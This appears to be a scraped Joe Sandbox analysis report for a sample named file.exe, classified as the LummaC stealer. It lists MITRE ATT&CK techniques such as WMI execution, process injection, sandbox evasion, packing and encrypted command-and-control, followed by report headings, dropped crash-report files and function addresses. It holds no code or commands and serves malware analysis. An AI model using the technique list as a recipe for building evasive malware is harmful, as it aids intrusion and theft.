Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_2f26e4b65edfc9809a16d7533fcfcfa7c28d99cc_852b229c_92fb6e2e-1bd9-4b91-8814-cd6295476d3d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF61A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF89C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF8DB.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
file.exe

Function 0034FCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Function 00385700 Relevance: 1.6, APIs: 1, Instructions: 69
memoryCOMMON

Function 0035049B Relevance: .3, Instructions: 264
COMMON

Function 00350228 Relevance: .2, Instructions: 218
COMMON

Function 0034D110 Relevance: .2, Instructions: 168
COMMON

Function 00383220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Function 00385BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00352F6F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Function 00352F10 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON